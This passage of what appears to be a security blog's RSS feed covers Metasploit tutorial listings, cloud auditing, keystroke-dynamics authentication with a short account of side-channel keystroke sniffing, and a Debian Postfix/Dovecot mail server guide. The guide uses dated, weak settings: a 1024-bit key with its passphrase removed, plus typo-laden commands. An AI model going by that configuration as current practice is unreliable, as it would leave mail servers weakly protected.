		<category><![CDATA[Affiliate]]></category>
		<category><![CDATA[Application Security]]></category>
		<category><![CDATA[Attack Vector]]></category>
		<category><![CDATA[Black Hat]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Penetration Testing]]></category>
		<category><![CDATA[White Hat]]></category>

		<guid isPermaLink="false">https://www.mafiasecurity.com/?p=1575</guid>
		<description><![CDATA[<p>Hakin9 is a magazine about the best technical solutions and latest trends in IT security and insecurity. We wish to make this knowledge accessible to everyone, whether they are professionals or hobbyists. The articles we publish are written by specialists who put theory into practice and show how to gain hakin9 skills.  - This affiliate has offered step ...</p><p>The post <a href="https://www.mafiasecurity.com/install-guides/step-by-step-metasploit-free-tutorials/">Step by Step Metasploit Free Tutorials</a> appeared first on <a href="https://www.mafiasecurity.com">Mafia Security</a>.</p>]]></description>
				<content:encoded><![CDATA[<p><strong>Hakin9</strong> is a magazine about the best technical solutions and latest trends in IT security and insecurity. We wish to make this knowledge accessible to everyone, whether they are professionals or hobbyists. The articles we publish are written by specialists who put theory into practice and show how to gain hakin9 skills.  - This affiliate has offered step by step Metasploit free tutorials for Mafia Security.</p>
<p>Would you like to be featured in one of these Hakin9 releases and be seen by over 100,000 readers? <a title="Mafia Security Information Security Author" href="https://www.mafiasecurity.com/information-security-author-position/" target="_blank">Become a Mafia Security Author to find out more</a>!</p>
<p>DEFENSE PATTERN<br />
<strong>How to Use Metasploit for Security Defense<br />
</strong><em>By Justin C. Klein Keane, an Information Security Specialist working at the University of Pensylvania<br />
</em>If you&#8217;ve ever taken any training about penetration testing, or read almost any book or online article about the trade, you&#8217;ve heard of Metasploit. Years ago, before penetration testing was a recognized professional field, exploiting a vulnerability was often an extremely onerous task. Identifying a vulnerability might be as easy as fingerprinting a system then searching public mailing lists, but finding exploit code was often difficult.</p>
<p><strong>How to Work with Metasploit Auxiliary Modules<br />
</strong><em>By Abhinav Sing</em>h, <i>the author of “Metasploit penetration testing cookbook,” a contributor of SecurityXploded community<br />
</i>The Metasploit framework is based on a modular architecture. This means that all the exploits, payloads, encoders etc are present in the form of modules. The biggest advantage of a modular architecture is that it is easier to extend the functionality of the framework based on requirement. Any programmer can develop his own module and port it easily into the framework.</p>
<p><strong>How to Explore the IPv6 Attack Surface with Metasploit<br />
</strong><em>By Mike Sheward, a security specialist for a software-as-a-service provider based in Seattle<br />
</em>IPv6 is often described as a parallel universe, co-existing alongside existing IPv4 infrastructure in a bid to ease the transition process. Often left unmanaged and unmonitored in networks, those IPv6 packets could provide a great opportunity for the savvy attacker. Thanks to the Metasploit framework, exploring the IPv6 attack surface has become a lot easier.</p>
<p>HAKIN9 EXTRA<br />
<strong>How to Use The Mac OS X Hackers Toolbox</strong><br />
<em>By Phillip Wylie, CISSP, IAM</em><br />
When you think of an operating system to run pen testing tools on, you probably think of Linux and more specifically BackTrack Linux. BackTrack Linux is a great option and one of the most common platforms for running pen testing tools. If you are a Mac user, then you would most likely run a virtual machine of BackTrack Linux. While this a great option, sometimes it is nice to have your tools running on the native operating system of you computer.</p>
<p>NETWORK SCANNING<br />
<strong>How to Scan with Nessus from within Metasploit<br />
</strong><em>By Michael Boman, a penetration tester, delivering courses in security testing and secure development<br />
</em>When you perform a penetration test with Metasploit you sometimes import vulnerability scanning results for example Nessus Vulnerability Scanner. Usually you start the scan externally from Metasploit framework and then import the results into Metasploit. What you can do is to manage the Nessus scan from within Metasploit and easily import the results into your process. But let’s start from the beginning.</p>
<p><strong>How to Use Multiplayer Metasploit with Armitage<br />
</strong><em>By Michael Boman, a penetration tester, delivering courses in security testing and secure development<br />
</em>Metasploit is a very cool tool to use in your penetration testing: add Armitage for a really good time. Penetration test engagements are more and more often a collaborative effort with teams of talented security practitioners rather than a solo effort.<br />
<em id="__mceDel"><em id="__mceDel"><em id="__mceDel"><em id="__mceDel">Armitage is a scriptable red team (that is what the offensive security teams are called) collaboration tool for Metasploit that visualizes targets, recommends exploits, and exposes the advanced post-exploitation features in the framework.</em></em></em></em></p>
<p>EXPLORING DATABASE<br />
<strong>How to use Sqlploit</strong><br />
B<em>y George Karpouzas, </em><em>co-founder of WEBNETSOFT, a software development and IT Services company, specialized in application security</em><br />
Databases nowadays are everywhere, from the smallest desktop applications to the largest web sites such as Facebook. Critical business information are stored in database servers that are often poorly secured. Someone with access to this information could have control over a company’s or an organization’s infrastructure.</p>
<h4 style="text-align: center;"><a title="Metasploit Open Tutorials Free Download" href="http://www.hakin9.org/metasploit-open-tutorials-free-download/" target="_blank">http://www.hakin9.org/metasploit-open-tutorials-free-download/</a></h4>
<p>The post <a href="https://www.mafiasecurity.com/install-guides/step-by-step-metasploit-free-tutorials/">Step by Step Metasploit Free Tutorials</a> appeared first on <a href="https://www.mafiasecurity.com">Mafia Security</a>.</p>]]></content:encoded>
			<wfw:commentRss>https://www.mafiasecurity.com/install-guides/step-by-step-metasploit-free-tutorials/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Auditing Cloud Computing</title>
		<link>https://www.mafiasecurity.com/governance/auditing-cloud-computing/</link>
		<comments>https://www.mafiasecurity.com/governance/auditing-cloud-computing/#comments</comments>
		<pubDate>Wed, 13 Mar 2013 17:20:10 +0000</pubDate>
		<dc:creator>Anthony Giallombardo</dc:creator>
				<category><![CDATA[Governance]]></category>
		<category><![CDATA[Department of Defense]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Risk Management]]></category>
		<category><![CDATA[User Awareness]]></category>

		<guid isPermaLink="false">https://www.mafiasecurity.com/?p=1570</guid>
		<description><![CDATA[<p>Before diving into the auditing cloud computing let us first look at what it is. Cloud computing has many different defections; however, since 2009 cloud computing became a popular buzzword as a new way to conduct IT business.  As a metaphor for the Internet, &#8220;the cloud&#8221; is a familiar cliché, but when combined with &#8220;computing,&#8221; ...</p><p>The post <a href="https://www.mafiasecurity.com/governance/auditing-cloud-computing/">Auditing Cloud Computing</a> appeared first on <a href="https://www.mafiasecurity.com">Mafia Security</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>Before diving into the auditing cloud computing let us first look at what it is. Cloud computing has many different defections; however, since 2009 cloud computing became a popular buzzword as a new way to conduct IT business.  As a metaphor for the Internet, &#8220;the cloud&#8221; is a familiar cliché, but when combined with &#8220;computing,&#8221; the meaning gets bigger and fuzzier (Knorr &amp; Gruman, 2009). Some analysts and vendors define cloud computing narrowly as an updated version of utility computing: virtual servers available over the Internet (Knorr &amp; Gruman, 2009). Others go very broad, arguing anything you consume outside the firewall is &#8220;in the cloud,&#8221; including conventional outsourcing (Knorr &amp; Gruman, 2009). Many would argue, as simple as web hosting, through a third party such as GoDaddy or LiquidWeb would be cloud computing since your information, or point of business is in the ‘cloud.’ However, I would not technically; I would only look at Infrastructure as a Service (IaaS), Platform as a Service, (PaaS), or Software as a Service (SaaS) as the true cloud computing.</p>
<p>Cloud computing comes into focus only when you think about what IT always needs a way to increase capacity or add capabilities on the fly without investing in new infrastructure, training new personnel, or licensing new software (Knorr &amp; Gruman, 2009). Cloud computing encompasses any subscription-based or pay-per-use service that, in real time over the Internet, extends IT&#8217;s existing capabilities (Knorr &amp; Gruman, 2009).</p>
<p>SaaS examples would be Salesforce.com is by far the best-known example among enterprise applications, but also HR apps and ERP with players such as Workday (Knorr &amp; Gruman, 2009). Closely related to SaaS, Web service providers offer APIs that enable developers to exploit functionality over the Internet, rather than delivering full-blown applications (Knorr &amp; Gruman, 2009). One example would be full range of APIs offered by Google Maps, ADP payroll processing, the U.S. Postal Service, Bloomberg, and even conventional credit card processing services (Knorr &amp; Gruman, 2009).</p>
<p>PaaS a SaaS variation form of cloud computing delivers development environments as a service (Knorr &amp; Gruman, 2009). You can build your own applications for the cloud infrastructure and through the Internet or cloud; your users can access the provider&#8217;s servers (Knorr &amp; Gruman, 2009). Like Legos, these services are constrained by the vendor&#8217;s design and capabilities, so you do not get complete freedom, but you do get predictability and pre-integration (Knorr &amp; Gruman, 2009).</p>
<h4>Positives of Auditing Cloud Computing:</h4>
<p>The City of Los Angeles CTO Randi Levin is praising the ability to go cloud based (Kaplan, 2010). Like most of the country, Los Angeles’ wallet is very strapped and even emergency services are facing cuts (Kaplan, 2010).</p>
<p>The IT department is no different with losing almost 33 percent of their annual budget and 38 of their employees (Kaplan, 2010). What made Randi Levin look into cloud computing was the need of a faster, efficient email service (Kaplan, 2010). Not to mention their datacenter would need $30 million to renovate to current standards and is 20 stories below a car wash with flooding a major concern (Kaplan, 2010).</p>
<p>Los Angeles implementation would save Los Angeles about $6 million dollars over the next five years; however, speculation on the security and privacy of emails remains (Kaplan, 2010). Levin guarantees the skeptics “when you look at companies like Google and Microsoft, they have 500 or 600 security specialists that all they do is live and eat and breathe this” (Kaplan, 2010). What is important when dealing with cloud computing is the service-level agreements to ensure the security model C.I.A. is upheld (Kaplan, 2010).</p>
<h4>Negatives of Auditing Cloud Computing:</h4>
<p>With the City of LA, there were some disbelievers, pointing out some interesting issues regarding government involvement with these corporations. When Google was compromised by alleged Chinese hackers, they had “enlisted” the NSA to investigate the issue granting them access to their network (Nakashima, 2010). The NSA is famous for their warrantless wiretaps and surveillance programs on foreign and domestic criminals (Nakashima, 2010). This gives people good reason to question if ‘big brother’ could or would snoop around any corporate, or in this article, city officials’ emails.</p>
<p>The biggest concerns about cloud computing are security and privacy. Users might not be comfortable handing over their data to a third party (Ahluwalia, n.d.). This is an even greater concern when it comes to companies that wish to keep their sensitive information on cloud servers (Ahluwalia, n.d.). While most service vendors would ensure that their servers are kept free from viral infection and malware, it is still a concern considering the fact that a number of users from around the world are accessing the server (Ahluwalia, n.d.).</p>
<p>Privacy is another issue with cloud servers (Ahluwalia, n.d.). Ensuring that a client’s data is not accessed by any unauthorized users is of great importance for any cloud service (Ahluwalia, n.d.). To make their servers more secure, cloud service vendors have developed password protected accounts, security servers through which all data being transferred must pass and data encryption techniques (Ahluwalia, n.d.). After all, the success of a cloud service depends on its reputation, and any sign of a security breach would result in a loss of clients and business (Ahluwalia, n.d.).</p>
<p>Unlike a bank if it is robbed not, many customers are effected and the money is guaranteed to be covered; although, when it comes to intellectual property there is no way to recover if there is a breach. I believe really the only way to pick a ‘trusted’ provider would be based on the controls they have in place for their own internal auditing and as the number of controls are in place, the price of the service will go up.</p>
<h4>Effect on IT Auditing Cloud Computing:</h4>
<p>One of the main purposes of having an internal audit is to find mistakes within your business not to point fingers but to reach the common goal of the overall businesses success.  Whether you choose IaaS, PaaS, or SaaS you are leaving the controls in the hands of another company whom may not have your company’s best interests in mind.</p>
<p>In addition, some of the audit processes may not be able to be completed simply because your company does not, and should not, have the necessary access to the overall infrastructure to be able to run the tests. If they allowed you full access, I would be worried about the type of attacks another entity could do on the network against my own company.</p>
<p>In the midst of all the negatives against auditing cloud computing when it comes to internal auditing, not having to worry about government regulations such as some SOX and PCI DSS compliances because you have selected a cloud computing option will make auditing much easier for your organization.</p>
<h4>References of Auditing Cloud Computing</h4>
<p>Ahluwalia, S. (n.d.). <i>Top 5 Disadvantages Of Cloud Computing</i>. Retrieved from <a href="http://www.cloudcomputingtechie.com/top-5-disadvantages/" target="_blank">http://www.cloudcomputingtechie.com/top-5-disadvantages/<br />
</a>Kaplan, D. (2010). Parting clouds: Los Angeles sees benefits moving some IT operations to the cloud. <i>SC Magazine</i>.</p>
<p>Knorr, E., &amp; Gruman, G. (2009, December 23). <i>What cloud computing really means</i>. Retrieved from <a href="http://www.infoworld.com/d/cloud-computing/what-cloud-computing-really-means-031" target="_blank">http://www.infoworld.com/d/cloud-computing/what-cloud-computing-really-means-031<br />
</a><em id="__mceDel" style="color: #333333;"><em id="__mceDel"><em id="__mceDel"><em id="__mceDel"></em></em></em></em></p>
<p><em id="__mceDel" style="color: #333333;"><em id="__mceDel"><em id="__mceDel"><em id="__mceDel">Managing Risk on the Journey to Virtualization and the Cloud. (2010, August). <i>Enterprise Management Associates</i>.</em></em></em></em></p>
<p><em id="__mceDel"><em id="__mceDel"><em id="__mceDel" style="color: #333333;"><em id="__mceDel"><em id="__mceDel"><em id="__mceDel"><em id="__mceDel" style="color: #333333;"><em id="__mceDel"><em id="__mceDel"><em id="__mceDel"><em id="__mceDel">Nakashima, E. (2010, February 4). Google to enlist NSA to help it ward off cyberattacks. <i>The Washington Post</i>. Retrieved from <a href="http://www.washingtonpost.com/wp-dyn/content/article/2010/02/03/AR2010020304057.html" target="_blank">http://www.washingtonpost.com/wp-dyn/content/article/2010/02/03/AR2010020304057.html</a></em></em></em></em></em></em></em></em></em></em></em></p>
<p>The post <a href="https://www.mafiasecurity.com/governance/auditing-cloud-computing/">Auditing Cloud Computing</a> appeared first on <a href="https://www.mafiasecurity.com">Mafia Security</a>.</p>]]></content:encoded>
			<wfw:commentRss>https://www.mafiasecurity.com/governance/auditing-cloud-computing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Keystroke Dynamics Software</title>
		<link>https://www.mafiasecurity.com/access-control/keystroke-dynamics/</link>
		<comments>https://www.mafiasecurity.com/access-control/keystroke-dynamics/#comments</comments>
		<pubDate>Sat, 09 Mar 2013 14:39:29 +0000</pubDate>
		<dc:creator>Kimberly Kopytko</dc:creator>
				<category><![CDATA[Access Control]]></category>
		<category><![CDATA[Biometrics]]></category>
		<category><![CDATA[Password Security]]></category>
		<category><![CDATA[Security Software]]></category>

		<guid isPermaLink="false">https://www.mafiasecurity.com/?p=1555</guid>
		<description><![CDATA[<p>Passwords are the most common form of identification, they are also the weakest. In today’s age, strong authentication is becoming increasingly important. There are a number of alternative authentication methods that have been around for a while, such as voice recognition, fingerprinting, and retinal scanning. There are also new technologies hitting the market as well, ...</p><p>The post <a href="https://www.mafiasecurity.com/access-control/keystroke-dynamics/">Keystroke Dynamics Software</a> appeared first on <a href="https://www.mafiasecurity.com">Mafia Security</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>Passwords are the most common form of identification, they are also the weakest. In today’s age, strong authentication is becoming increasingly important. There are a number of alternative authentication methods that have been around for a while, such as voice recognition, fingerprinting, and retinal scanning. There are also new technologies hitting the market as well, one of them is Deepnet Security’s TypeSense keystroke dynamics software.</p>
<p>TypeSense is an authentication solution based on the science of typeprint recognition that uses keystroke dynamics to accurately identify a user by the way they type characters across a keyboard. Keystroke Dynamics technology extracts the distinctive characteristics found in typed sequences of characters, and creates a statistically unique signature from the typing patterns of a person. These distinctive features include the duration for which keys are held and the elapsed time between successive keystrokes. This type of software runs in the background and constantly monitors your key stokes, learns your style, and can detect if your computer’s been hijacked. (Deepnet Security)</p>
<p>TypeSense, and other similar products, do not do away with the need for passwords but instead protects them. This is a two-phase authentication method. There are a number of benefits to using keystroke dynamics technology. It’s relatively user-friendly and low-cost. It’s mobile and can be used to access your online accounts from anywhere and can be easily integrated in your existing authentication infrastructure.</p>
<p>One of the major downsides to this technology is that throughout the day your typing style can vary greatly depending on whether you are tired, distracted, angry, medicated, or any number of other circumstances. These variations can cause the software to make false positive or negative errors.</p>
<p>Although it requires a higher level of skill, keystrokes can be hacked. At DEFCON: 17, Andrea Barisani and Daniele Bianco demonstrated how to sniff keystrokes using unconventional side channel attacks. Wires in PS/2 keyboards leak information from the data wire into the ground wire which acts like an antenna. The leaked information about the keyboard strokes can be detected on the power outlet, as well as other wires on the same electrical system. By slicing open one of these lines, cutting the ground wire and attaching a probe, the line can be monitored and the signal isolated by filtering out the noise using software such as Scilab. The waves from the oscilloscope and the data can be streamed to the hacker’s computer where additional software is used to extract the victim’s keystroke information.</p>
<p>The research team, Ecole Polytechnique Federale de Lausanne was able to pick up electromagnetic radiation that is generated every time a computer keyboard is tapped by using an oscilloscope and an inexpensive wireless antenna, the team was able to pick up keystrokes from virtually any keyboard, including laptops with 95 percent accuracy. (PC World, 2013)</p>
<p>Although no security measure can ever be flawless, hacking keystrokes is more challenging, and can thus slow or stop many hackers and has so far proven to be a quite effective method of securing passwords.</p>
<h4>References for Keystroke Dynamics:</h4>
<p>DualShield Authentication : Keystroke Dynamics.&#8221; <i>Two Factor Authentication | 2 FA | 2 Factor Authentication</i>. Deepnet Security, n.d. Web. 19 Dec. 2012. &lt;<a href="http://www.deepnetsecurity.com/tokens/bio/typesense">http://www.deepnetsecurity.com/tokens/bio/typesense</a>/&gt;.</p>
<p>DEFCON 17: Sniff Keystrokes With Lasers/Voltmeters &#8211; YouTube. <i>YouTube</i>. N.p., n.d. Web. 19 Dec. 2012. &lt;http://www.youtube.com/watch?v=xKSq9efXmh8&gt;.</p>
<p>McMillan, Robert. &#8220;A Way to Sniff Keystrokes From Thin Air | PCWorld.&#8221; <i>PCWorld &#8211; News, tips and reviews from the experts on PCs, Windows, and more</i>. N.p., 12 Mar. 2009. Web. 8 Mar. 2013. &lt;<a href="http://www.pcworld.com/article/161166/article.html">http://www.pcworld.com/article/161166/article.html</a>&gt;.</p>
<p>The post <a href="https://www.mafiasecurity.com/access-control/keystroke-dynamics/">Keystroke Dynamics Software</a> appeared first on <a href="https://www.mafiasecurity.com">Mafia Security</a>.</p>]]></content:encoded>
			<wfw:commentRss>https://www.mafiasecurity.com/access-control/keystroke-dynamics/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux Email Server Advance Guide</title>
		<link>https://www.mafiasecurity.com/install-guides/linux-email-server-advance-guide/</link>
		<comments>https://www.mafiasecurity.com/install-guides/linux-email-server-advance-guide/#comments</comments>
		<pubDate>Thu, 07 Mar 2013 23:42:23 +0000</pubDate>
		<dc:creator>Ismail Saifudin</dc:creator>
				<category><![CDATA[Installations / Guides]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">https://www.mafiasecurity.com/?p=1543</guid>
		<description><![CDATA[<p>The purpose of this article is to show a linux email server advance guide for internal email server with pop3 &#38; IMAP support over SSL with access available via Thunderbird. For this Linux Email server advance guide we will use postfix as the SMTP server, Dovecot as the IMAP/POP3 &#38; Auth server, with postfix using dovecot’s SASL ...</p><p>The post <a href="https://www.mafiasecurity.com/install-guides/linux-email-server-advance-guide/">Linux Email Server Advance Guide</a> appeared first on <a href="https://www.mafiasecurity.com">Mafia Security</a>.</p>]]></description>
				<content:encoded><![CDATA[<p>The purpose of this article is to show a linux email server advance guide for internal email server with pop3 &amp; IMAP support over SSL with access available via Thunderbird. For this Linux Email server advance guide we will use postfix as the SMTP server, Dovecot as the IMAP/POP3 &amp; Auth server, with postfix using dovecot’s SASL function to authenticate (Openssl used to generate ssl keys).</p>
<h4>Environment:</h4>
<ul>
<li>We are using Debian 6.0 Squeeze installed without GUI or system utilities on vmware workstation 9.0</li>
<li>During install I configured Debian to use Separate /home, /usr, /var and /tmp partitions (this is an option).</li>
<li>I suggest installing and configuring vim for the purpose of this guide, it makes life infinitely easier.</li>
</ul>
<p><strong>VIM setup:</strong></p>
<p>user@debbie:~# sudo apt-get install vim<br />
user@debbie:~# sudo vi /etc/profile</p>
<p>#add this to the last line so typing vi opens vim):</p>
<p>alias vi=’vim’</p>
<p>#then add functions to vim  &#8211; these are just some I like:</p>
<p><b>user@debbie:~#</b> sudo Vi ~/.vimrc</p>
<p>set nocompatible<br />
set fileformats=unix,dos<br />
set number<br />
set incsearch<br />
set list<br />
set showmatch<br />
syntax on<br />
highlight comment ctermfg=LightCyan<br />
setwrap</p>
<h4>Linux Email Server Setup</h4>
<p><b>Step 1. Install Postfix:</b></p>
<p>(Make sure you’ve set your user up in the sudoers list, or are installing this from root)</p>
<p><b>user@debbie:~#</b> sudo Apt-get install postfix postfix-tls sasl2-bin</p>
<p># at the first screen, hit &lt;Ok&gt;</p>
<p># Select ‘No Configuration’ so we can edit our configs manually and set this up as we want.</p>
<p><b>Step 2. Configure postfix</b></p>
<p><b>user@debbie:~#</b> sudo cp /usr/lib/postfix/main.cf /etc/postfix/main.cf     #starting from scratch</p>
<p><b>user@debbie:~#</b> sudo vi /etc/postfix/main.cf                #learn/love vi – you’ll thank me.</p>
<p><span style="color: #ff0000;">#Line 59</span>: uncomment:</p>
<p>mail_owner = postfix</p>
<p><span style="color: #ff0000;">#line 76</span>: uncomment and specify your servers fqdn (find fqdn by running hostname –fqdn at terminal)</p>
<p>Myhostname = debian.lonestar.com</p>
<p><span style="color: #ff0000;">#line 104</span>: uncomment</p>
<p>myorigin = $mydomain</p>
<p><span style="color: #ff0000;">#line 118</span>: uncomment</p>
<p>Inet_interfaces = all</p>
<p><span style="color: #ff0000;">#line 166:</span> uncomment</p>
<p>mydestination = $myhostname, localhost.$mydomain, localhost, $mydomain</p>
<p><span style="color: #ff0000;"># line 209</span>: uncomment</p>
<p>local_recipient_maps = unix:passwd.byname $alias_maps</p>
<p><span style="color: #ff0000;"># line 268</span>: uncomment and specify your LAN (in our case its 192.168.1.0/24)</p>
<p>mynetworks = 127.0.0.0/8, 192.168.1.0/24</p>
<p><span style="color: #ff0000;"># line 388</span>: uncomment</p>
<p>alias_maps = hash:/etc/aliases</p>
<p><span style="color: #ff0000;"># line 399</span>: uncomment</p>
<p>alias_database = hash:/etc/aliases</p>
<p><span style="color: #ff0000;"># line 421</span>: uncomment (use Maildir)</p>
<p>home_mailbox = Maildir/</p>
<p><span style="color: #ff0000;"># line 526</span>: uncomment</p>
<p>header_checks = regexp:/etc/postfix/header_checks</p>
<p><span style="color: #ff0000;"># add</span>: mail body checking</p>
<p>body_checks = regexp:/etc/postfix/body_checks</p>
<p><span style="color: #ff0000;"># line 552</span>: comment out and add</p>
<p># smtpd_banner = $myhostname ESMTP $mail_name (@@DISTRO@@)</p>
<p>smtpd_banner = $myhostname ESMTP</p>
<p><span style="color: #ff0000;"># line 626</span>: add</p>
<p>sendmail_path = /usr/sbin/postfix</p>
<p><span style="color: #ff0000;"># line 631</span>: add</p>
<p>newaliases_path = /usr/bin/newaliases</p>
<p><span style="color: #ff0000;"># line 636</span>: add</p>
<p>mailq_path = /usr/bin/mailq</p>
<p><span style="color: #ff0000;"># line 642:</span> add</p>
<p>setgid_group = postdrop</p>
<p><span style="color: #ff0000;"># line 646</span>: comment out</p>
<p>#html_directory =</p>
<p><span style="color: #ff0000;"># line 650</span>: comment out</p>
<p>#manpage_directory =</p>
<p><span style="color: #ff0000;"># line 655</span>: comment out</p>
<p>#sample_directory =</p>
<p><span style="color: #ff0000;"># line 659</span>: comment out with #</p>
<p>#readme_directory =</p>
<p># If you want to limit email and mailbox size, add this to the end of file (my example uses 10Mb &amp; 1GB)</p>
<p>message_size_limit = 10485760</p>
<p>mailbox_size_limit = 1073741824</p>
<p># for SMTP-Auth settings add to the end of the config file:</p>
<p>smtpd_sasl_type = dovecot<br />
smtpd_sasl_path = private/auth-client<br />
smtpd_sasl_auth_enable = yes<br />
smtpd_sasl_security_options = noanonymous<br />
smtpd_sasl_local_domain = $myhostname<br />
smtpd_client_restrictions = permit_mynetworks,reject_unknown_client,permit<br />
smtpd_recipient_restrictions = permit_mynetworks,permit_auth_destination,permit_sasl_authenticated,reject</p>
<p><b># add the following to the end of the file for SSL:</b></p>
<p>smtpd_use_tls = yes<br />
smtpd_tls_cert_file = /etc/ssl/certs/server.crt<br />
smtpd_tls_key_file = /etc/ssl/certs/server.key<br />
smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache</p>
<p><b>Step 3. Header and body checks:</b></p>
<p>root@mail:<b>~#</b> sudo vi /etc/postfix/header_checks</p>
<p># add at the top (reject if email address is empty )</p>
<p>/^From:.*&lt;#.*@.*&gt;/ REJECT</p>
<p>/^Return-Path:.*&lt;#.*@.*&gt;/ REJECT</p>
<p>&nbsp;</p>
<p><b>root@mail:~#</b> sudo vi /etc/postfix/body_checks</p>
<p># reject if an email includes &#8216;example.com&#8217; in mail body &#8211; blacklist</p>
<p>/^(|[^&gt;].*)example.com/ REJECT</p>
<p><b>root@mail:~#</b> sudo newaliases</p>
<p><b>root@mail:~#</b> sudo /etc/init.d/postfix restart</p>
<p><b>Linux Email Server Dovecot setup</b></p>
<p><b>root@mail:~#</b> sudo apt-get install dovecot-common dovecot-pop3d dovecot-imapd</p>
<p><b>root@mail:~#</b> sudo vi/etc/dovecot/dovecot.conf<b></b></p>
<p><span style="color: #ff0000;"># line 53</span>: uncomment</p>
<p>disable_plaintext_auth = yes</p>
<p><span style="color: #ff0000;"># line 95</span>: uncomment for SSL</p>
<p>ssl = yes</p>
<p><span style="color: #ff0000;"># line 230</span>: uncomment and add</p>
<p>mail_location = maildir:~/Maildir</p>
<p><span style="color: #ff0000;"># line 893</span>: add</p>
<p>mechanisms = plain login</p>
<p><span style="color: #ff0000;"># line 1120</span>: modify: (uncomment socket listen and client section)</p>
<p>socket listen {</p>
<p>#master {</p>
<p># Master socket provides access to userdb information. It&#8217;s typically</p>
<p># used to give Dovecot&#8217;s local delivery agent access to userdb so it</p>
<p># can find mailbox locations.</p>
<p>#path = /var/run/dovecot/auth-master</p>
<p>#mode = 0600</p>
<p># Default user/group is the one who started dovecot-auth (root)</p>
<p>#user =</p>
<p>#group =</p>
<p>#}</p>
<p>client {</p>
<p># The client socket is generally safe to export to everyone. Typical use</p>
<p># is to export it to your SMTP server so it can do SMTP AUTH lookups</p>
<p># using it.</p>
<p>path = /var/spool/postfix/private/auth-client   <b># uncomment and change</b></p>
<p>mode = 0660 <b># uncomment</b></p>
<p>user = postfix <b># add this</b></p>
<p>group = postfix <b># add this</b></p>
<p>}</p>
<p>}</p>
<p><span style="color: #ff0000;"># line 100,101</span>: uncomment and specify certificate</p>
<p>ssl_cert_file = /etc/ssl/certs/server.crt<br />
ssl_key_file = /etc/ssl/certs/server.key</p>
<p>root@mail:~# /etc/init.d/postfix restart</p>
<p>Stopping Postfix Mail Transport Agent: postfix.</p>
<p>Starting Postfix Mail Transport Agent: postfix.</p>
<p><b>root@mail:~# </b>sudo /etc/init.d/dovecot restart</p>
<h4>Linux Email Server Advance Guide SSL Setup</h4>
<p><b>Step 1: Create SSL Certificate</b> (We will create our own since this is internal)</p>
<p><b>user@debbie:~# cd /etc/ssl/certs<br />
</b><b>user@debbie:/etc/ssl/certs# </b>sudo openssl genrsa –des3 –out server.key 1024</p>
<p><b>#</b>After the following command, don’t enter a passphrase, just hit enter enter. We do this to remove the passphrase. It is not required.</p>
<p><b>user@debbie:/etc/ssl/certs# </b>sudo openssl rsa –in server.key –out server.key</p>
<p><b>user@debbie:/etc/ssl/certs# </b>sudo openssl req –new –days 3650 –key server.key –out server.csr</p>
<p>#You can use defaults for the next  5 options, BUT at option 6 you MUST use your servers FQDN (hostname –fqdn). In the case of this example it would be <b>debian.lonestar.com</b></p>
<p>You can then accept defaults for the rest of the options if you’d like.</p>
<p><b>user@debbie:/etc/ssl/certs#</b> sudo openssl x509 –in server.csr –out server.crt –req –signkey server.key –days 3000</p>
<p>#allow owner to read all keys:</p>
<p><b>user@debbie:/etc/ssl/certs#</b> sudo chmod 400 server.*</p>
<p>cd ~</p>
<p><b>Step 2: Configuring postfis master file</b></p>
<p><b>user@debbie:~#</b> sudo vi /etc/postfix/master.cf</p>
<p><span style="color: #ff0000;"># line 17-18</span>: uncomment</p>
<p>smtps       inet   n       -       n       -       -       smtpd</p>
<p>-o smtpd_tls_wrappermode=yes</p>
<p><b>root@mail:~#</b> sudo vi /etc/dovecot/dovecot.conf</p>
<h4>Testing Linux Email Server Advance Guide with Thunderbird:</h4>
<p>If your machine with thunderbird is on a different host, you will need to add the appropriate hostfile/DNS entry for thunderbird to be able to find your linux server on the network.</p>
<p>In this example our workstation is a Windows 7 box with thunderbird installed, edit the hosts file to add this line:</p>
<p>(IP of server)        (FQDN of server)</p>
<p>192.168.1.120      debian.lonestar.com</p>
<p>I’ve included the main.cf and master.cf files I used for postfix in this  Linux Email Server Advance Guide walkthrough.</p>
<p><a href="https://www.mafiasecurity.com/guides/email/main.cf">https://www.mafiasecurity.com/guides/email/main.cf</a><br />
<a href="https://www.mafiasecurity.com/guides/email/master.cf">https://www.mafiasecurity.com/guides/email/master.cf</a></p>
<p><b>Sources referenced for <strong>Linux</strong> <strong>Email</strong> <strong>Server</strong> <strong>Advance</strong> <strong>Guide</strong>:</b></p>
<p><a href="http://www.server-world.info/en/note?os=Debian_6.0&amp;p=mail">http://www.server-world.info/en/note?os=Debian_6.0&amp;p=mail<br />
</a><a href="http://library.linode.com/email/postfix/dovecot-system-users-debian-6-squeeze#sph_organize-mail-services">http://library.linode.com/email/postfix/dovecot-system-users-debian-6-squeeze#sph_organize-mail-services<br />
</a><a href="https://syslog.tv/2011/09/15/postfix-dovecot-imapimaps-sasl-maildir/" target="_blank">https://syslog.tv/2011/09/15/postfix-dovecot-imapimaps-sasl-maildir/</a></p>
<p>The post <a href="https://www.mafiasecurity.com/install-guides/linux-email-server-advance-guide/">Linux Email Server Advance Guide</a> appeared first on <a href="https://www.mafiasecurity.com">Mafia Security</a>.</p>]]></content:encoded>
			<wfw:commentRss>https://www.mafiasecurity.com/install-guides/linux-email-server-advance-guide/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>USB Switchblade</title>
		<link>https://www.mafiasecurity.com/reviews-definitions/usb-switchblade/</link>
		<comments>https://www.mafiasecurity.com/reviews-definitions/usb-switchblade/#comments</comments>
		<pubDate>Tue, 05 Feb 2013 01:32:38 +0000</pubDate>
		<dc:creator>Aaron Townsend</dc:creator>
				<category><![CDATA[Installations / Guides]]></category>
		<category><![CDATA[Reviews / Definitions]]></category>
		<category><![CDATA[Attack Vector]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Information Warfare]]></category>
		<category><![CDATA[Penetration Testing]]></category>

		<guid isPermaLink="false">https://www.mafiasecurity.com:443/?p=1042</guid>
